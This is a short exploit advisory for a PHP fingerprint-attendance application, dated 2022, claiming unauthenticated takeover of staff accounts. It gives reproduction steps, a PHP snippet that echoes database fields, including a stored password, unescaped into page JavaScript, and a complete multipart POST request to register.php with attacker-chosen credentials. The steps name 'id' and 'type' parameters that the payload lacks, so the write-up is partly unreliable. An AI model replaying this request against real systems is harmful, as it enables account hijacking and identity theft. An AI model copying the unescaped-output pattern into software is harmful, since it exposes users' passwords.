# Title: Fingerprint Attendance 1.0  Account Takeover 
# Author: Hejap Zairy
# Date: 29.07.2022
# Vendor: https://www.vetbossel.in/fingerprint-attendance-project-php/
# Software: https://app.box.com/s/xlyqalhvayq8oi25tqykcbouzrrjytqy
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache

Fingerprint Attendance  is vulnerable to unauthenticated account takeover.
An attacker can takeover any registered 'Staff' user account by just sending below POST request
By changing the the "id", "firstname", "lastname" , "username" , "password" ,"type" parameters

#Steps to Reproduce

1. Send the below POST request by changing "id", "firstname", "lastname" , "username" , "password" ,"type" parameters.

2. Go to  /fingerprint/src/ and Log in to the user account by changed username and password


#vulnerability Code  php

```
<?php
		echo "document.getElementById('fname').value = '".$qry["first_name"]."';";
		echo "document.getElementById('lname').value = '".$qry["last_name"]."';";

		echo "document.getElementById('NRIC').value = '".$qry["NRIC"]."';";
		echo "document.getElementById('email').value = '".$qry["email"]."';";
		echo "document.getElementById('contact').value = '".$qry["mobile"]."';";
		echo "document.getElementById('contact2').value = '".$qry["mobile2"]."';";

		echo "document.getElementById('line1').value = '".$qry["password"]."';";
		echo "document.getElementById('line2').value = '".$qry["line1"]."';";
		echo "document.getElementById('line3').value = '".$qry["line2"]."';";
		echo "document.getElementById('city').value = '".$qry["city"]."';";
		echo "document.getElementById('zip').value = '".$qry["zip"]."';";
		echo "document.getElementById('country').value = '".$qry["country"]."';";

		echo "document.getElementById('bankName').value = '".$qry["bankName"]."';";
		echo "document.getElementById('bankDetail').value = '".$qry["bankDetail"]."';";

		echo "document.getElementById('job').value = '".$qry["jobTitle"]."';";
	?>
```


# Description:
Account takeover is one form of identity theft attack in which bad actors gain access to an account and make unauthorized transactions. Account takeover attacks can target any website that uses a login to guard valuable information


[+] Payload POST

```
POST /fingerprint/src/register.php HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3324626841792192532944123116
Content-Length: 2446
Origin: http://0day.gov
Connection: close
Referer: http://0day.gov/fingerprint/src/register.php
Cookie: PHPSESSID=64cp9kf4qmus9p55o63clicu2q
Upgrade-Insecure-Requests: 1

-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="fname"
Admin
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="lname"

admin
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="NRIC"
Admin
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="emailaddress"
Admin@gmail.com
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="contact"

admin

-----------------------------3324626841792192532944123116

Content-Disposition: form-data; name="contact2"
admin
-----------------------------3324626841792192532944123116

Content-Disposition: form-data; name="password"
admin12345
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="line2"
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="line3"
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="city"
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="zip"
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="country"
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="bankName"
Admin
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="bankDetail"
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="job"
Admin

-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="button"
Register
-----------------------------3324626841792192532944123116--
```